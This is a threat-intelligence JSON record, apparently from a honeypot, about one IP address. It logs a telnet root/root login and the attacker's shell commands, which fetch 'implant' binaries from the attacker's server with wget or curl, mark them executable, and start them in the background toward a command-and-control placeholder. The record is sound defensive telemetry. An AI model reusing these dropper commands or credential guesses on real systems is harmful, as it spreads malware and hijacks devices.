{"ip":"217.60.78.210","data_as_of":"2026-10-26T23:39:21+00:00","observed":true,"total_events":2,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"1 interactive session(s) ran commands after logging in","confidence":"high","network_type":null,"why":["1 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","The first-packet sensors recorded 2 event(s) from this address as well.","Not in any known-scanner range."],"engagement":{"level":"request","label":"Request traffic","detail":"492 bytes sent","bytes_sent":492,"session_seconds":8,"persistent":false},"basis":"interactive"},"first_seen":"2026-10-21T06:41:16","last_seen":"2026-10-23T00:13:05","events_24h":0,"events_7d":2,"interactive_sessions":1,"interactive_sessions_24h":0,"interactive_sessions_7d":1,"interactive_protocols":[{"protocol":"telnet","sessions":1}],"geo":{"country_code":"AE","country_name":"United Arab Emirates","region":"","city":"","lat":23.75,"lon":54.5,"asn":198189,"org":"Throttle Limited"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"6a7c54aca2f44e4cb0adbceaf49b94fb889492d3f6af120a46eb4c7ddf0efb0a","family":"","vt_name":"implant_x86_64.bin","malicious":2,"total":75,"vt_status":"uploaded","delivery":"interactive session","url_path":"","dest_port":2323,"hits":4,"last_seen":"2026-10-21 06:41:16"}],"udp":null,"interaction":{"window_days":90,"sessions":1,"first_seen":"2026-10-21T06:41:16","last_seen":"2026-10-21T06:41:16","verdicts":[{"verdict":"post-exploitation","sessions":1}],"personas":[{"persona":"linux-ubuntu@24.04","sessions":1}],"services":[{"protocol":"telnet","port":2323,"sessions":1}],"logins":[{"username":"root","password":"root","password_sent":true,"service":"telnet","outcome":"success","tries":1,"last_seen":"2026-10-21T06:41:08"}],"commands":[{"ts":"2026-10-21T06:41:13","session_id":"b3fbd170-5df4-4195-b3cc-0bdaa79af818","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"[ -s $P ] && [ ! -f $M ] && { touch $M; (nohup $P {C2_PUBLIC} {C2_PORT} >/dev/null 2>&1 &); }","exit_code":0},{"ts":"2026-10-21T06:41:13","session_id":"b3fbd170-5df4-4195-b3cc-0bdaa79af818","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"M=/var/tmp/.xk","exit_code":0},{"ts":"2026-10-21T06:41:13","session_id":"b3fbd170-5df4-4195-b3cc-0bdaa79af818","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"for a in $L; do\nwget -q -T 15 -O $P $U/implant_$a.bin 2>/dev/null || curl -m 15 -s -o $P $U/implant_$a.bin 2>/dev/null\n[ -s $P ] && { chmod +x $P; break; }\ndone","exit_code":0},{"ts":"2026-10-21T06:41:13","session_id":"b3fbd170-5df4-4195-b3cc-0bdaa79af818","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"case \"$A\" in x86_64) L=x86_64;; aarch64) L=aarch64;; arm*) L=arm;; mips*) L=\"mips mipsel\";; *) L=\"arm aarch64 mips mipsel x86_64\";; esac","exit_code":0},{"ts":"2026-10-21T06:41:13","session_id":"b3fbd170-5df4-4195-b3cc-0bdaa79af818","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"A=$(uname -m)","exit_code":0},{"ts":"2026-10-21T06:41:13","session_id":"b3fbd170-5df4-4195-b3cc-0bdaa79af818","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"U=[http]://217[.]60[.]78[.]210:8080","exit_code":0},{"ts":"2026-10-21T06:41:13","session_id":"b3fbd170-5df4-4195-b3cc-0bdaa79af818","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"P=/var/tmp/.xs","exit_code":0},{"ts":"2026-10-21T06:41:08","session_id":"b3fbd170-5df4-4195-b3cc-0bdaa79af818","protocol":"telnet","persona":"linux-ubuntu@24.04","command":"echo XR7Q9","exit_code":0}],"downloads":[{"url":"[http]://217[.]60[.]78[.]210:8080/implant_x86_64.bin","host":"217[.]60[.]78[.]210","sessions":1,"first_seen":"2026-10-21T06:41:16","last_seen":"2026-10-21T06:41:16","virustotal":{"sha256":"6a7c54aca2f44e4cb0adbceaf49b94fb889492d3f6af120a46eb4c7ddf0efb0a","status":"uploaded","malicious":2,"total":75,"name":"implant_x86_64.bin"}}],"files":[{"sha256":"f64e9901efce537cddbac2afd15a561be380fc84d87c341b4e6ebcd5658f95d2","name":".xs","size":2010,"mime_type":"application/x-executable","kind":"sample","times":1,"first_seen":"2026-10-21T06:41:13","last_seen":"2026-10-21T06:41:13","virustotal":null},{"sha256":"e68df1c8800f12ca98951e9f9d3c73f3e69299b49b79cda8c0441ce14a4389e0","name":".xs","size":44,"mime_type":"text/plain","kind":"downloaded","times":1,"first_seen":"2026-10-21T06:41:13","last_seen":"2026-10-21T06:41:13","virustotal":null}],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":1},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":1},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":1},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":1}]},"top_ports":[{"port":23,"proto":"tcp","label":"Telnet","count":2,"sessions":0},{"port":2323,"proto":"tcp","label":"TELNET","count":0,"sessions":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-21","count":0,"sessions":1},{"date":"2026-10-23","count":2,"sessions":0}],"recent_events":[{"timestamp":"2026-10-23T00:13:05","port":23,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"root\n","payload_hex":"726f6f740a","method":"","user_agent":"","ja3":"","session":"faf22e35-9057-4e89-a05e-418cbc562b54","seq":2,"duration_ms":236,"bytes_in":11,"bytes_out":31,"enriched":{"digest":"552c0ba71b1046a0","strings":["root"]}},{"timestamp":"2026-10-23T00:13:05","port":23,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\nroot\n","payload_hex":"0a726f6f740a","method":"","user_agent":"","ja3":"","session":"faf22e35-9057-4e89-a05e-418cbc562b54","seq":1,"duration_ms":100,"bytes_in":6,"bytes_out":12,"enriched":{"digest":"2bf9645881746ae9","strings":["root"]}},{"timestamp":"2026-10-21T06:41:13","port":2323,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"[ -s $P ] && [ ! -f $M ] && { touch $M; (nohup $P {C2_PUBLIC} {C2_PORT} >/dev/null 2>&1 &); }","payload_hex":"5b202d73202450205d202626205b2021202d6620244d205d202626207b20746f75636820244d3b20286e6f687570202450207b43325f5055424c49437d207b43325f504f52547d203e2f6465762f6e756c6c20323e26312026293b207d","method":"","user_agent":"","ja3":"","session":"b3fbd170-5df4-4195-b3cc-0bdaa79af818-17","seq":17,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"7be01ae37e7c8f95","strings":["[ -s $P ] && [ ! -f $M ] && { touch $M; (nohup $P {C2_PUBLIC} {C2_PORT} >/dev/nu…"],"iocs":{"paths":["/dev/nu"]}},"interactive":true},{"timestamp":"2026-10-21T06:41:13","port":2323,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"M=/var/tmp/.xk","payload_hex":"4d3d2f7661722f746d702f2e786b","method":"","user_agent":"","ja3":"","session":"b3fbd170-5df4-4195-b3cc-0bdaa79af818-15","seq":15,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"60356d0af8cbd714","strings":["M=/var/tmp/.xk"],"iocs":{"paths":["/var/tmp/.xk"]}},"interactive":true},{"timestamp":"2026-10-21T06:41:13","port":2323,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"for a in $L; do\nwget -q -T 15 -O $P $U/implant_$a.bin 2>/dev/null || curl -m 15 -s -o $P $U/implant_$a.bin 2>/dev/null\n[ -s $P ] && { chmod +x $P; break; }\ndone","payload_hex":"666f72206120696e20244c3b20646f0a77676574202d71202d54203135202d4f2024502024552f696d706c616e745f24612e62696e20323e2f6465762f6e756c6c207c7c206375726c202d6d203135202d73202d6f2024502024552f696d706c616e745f24612e62696e20323e2f6465762f6e756c6c0a5b202d73202450205d202626207b2063686d6f64202b782024503b20627265616b3b207d0a646f6e65","method":"","user_agent":"","ja3":"","session":"b3fbd170-5df4-4195-b3cc-0bdaa79af818-13","seq":13,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"a99c65810558adfc","strings":["for a in $L; do","wget -q -T 15 -O $P $U/implant_$a.bin 2>/dev/null || curl -m 15 -s -o $P $U/impl…","[ -s $P ] && { chmod +x $P; break; }","done"],"iocs":{"domains":["a.bin"],"paths":["/dev/null"]}},"interactive":true},{"timestamp":"2026-10-21T06:41:13","port":2323,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"case \"$A\" in x86_64) L=x86_64;; aarch64) L=aarch64;; arm*) L=arm;; mips*) L=\"mips mipsel\";; *) L=\"arm aarch64 mips mipsel x86_64\";; esac","payload_hex":"63617365202224412220696e207838365f363429204c3d7838365f36343b3b206161726368363429204c3d616172636836343b3b2061726d2a29204c3d61726d3b3b206d6970732a29204c3d226d697073206d697073656c223b3b202a29204c3d2261726d2061617263683634206d697073206d697073656c207838365f3634223b3b2065736163","method":"","user_agent":"","ja3":"","session":"b3fbd170-5df4-4195-b3cc-0bdaa79af818-11","seq":11,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"1b7edae32bc1370a","strings":["case \"$A\" in x86_64) L=x86_64;; aarch64) L=aarch64;; arm*) L=arm;; mips*) L=\"mip…"]},"interactive":true},{"timestamp":"2026-10-21T06:41:13","port":2323,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"A=$(uname -m)","payload_hex":"413d2428756e616d65202d6d29","method":"","user_agent":"","ja3":"","session":"b3fbd170-5df4-4195-b3cc-0bdaa79af818-9","seq":9,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"0c80ca7388dc88da","strings":["A=$(uname -m)"]},"interactive":true},{"timestamp":"2026-10-21T06:41:13","port":2323,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"U=http://217.60.78.210:8080","payload_hex":"553d687474703a2f2f3231372e36302e37382e3231303a38303830","method":"","user_agent":"","ja3":"","session":"b3fbd170-5df4-4195-b3cc-0bdaa79af818-5","seq":5,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"06edcfe6fad624a6","strings":["U=http://217.60.78.210:8080"],"iocs":{"urls":["http://217.60.78.210:8080"],"ips":["217.60.78.210"]}},"interactive":true},{"timestamp":"2026-10-21T06:41:13","port":2323,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"P=/var/tmp/.xs","payload_hex":"503d2f7661722f746d702f2e7873","method":"","user_agent":"","ja3":"","session":"b3fbd170-5df4-4195-b3cc-0bdaa79af818-7","seq":7,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"d12e1f906a08ca47","strings":["P=/var/tmp/.xs"],"iocs":{"paths":["/var/tmp/.xs"]}},"interactive":true},{"timestamp":"2026-10-21T06:41:08","port":2323,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"echo XR7Q9","payload_hex":"6563686f205852375139","method":"","user_agent":"","ja3":"","session":"b3fbd170-5df4-4195-b3cc-0bdaa79af818-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"3c066aab9eb0b1a2","strings":["echo XR7Q9"]},"interactive":true}],"http_methods":[],"distinct_ports_total":2,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":1},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":1},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":1},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":1}]}